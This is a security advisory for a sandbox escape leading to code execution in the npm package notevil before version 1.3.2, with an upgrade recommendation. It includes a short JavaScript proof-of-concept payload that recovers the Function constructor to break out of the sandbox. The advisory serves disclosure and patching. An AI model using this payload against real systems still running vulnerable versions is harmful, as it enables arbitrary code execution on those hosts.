Advisory

GHSA-7r5f-7qr4-pf6q

Also known as: None

Summary

Sandbox Breakout / Arbitrary Code Execution in notevil

Details

Versions of notevil prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the Function constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:

var safeEval = require('notevil')
var input = "" + 
"function fn() {};" + 
"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" + 
"var properties = Object.values(constructorProperty);" + 
"properties.pop();" + 
"properties.pop();" + 
"properties.pop();" + 
"var Function = properties.pop();" + 
"(Function('return this'))()"; 
safeEval(input)```


## Recommendation

Upgrade to version 1.3.2 or later.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2020-09-03 19:03 UTC
Modified
2020-08-31 18:47 UTC

Affected packages and fixes

notevil

npm · All systems

Affected

  • introduced 0, fixed 1.3.2 (semver)

Fixed versions

1.3.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences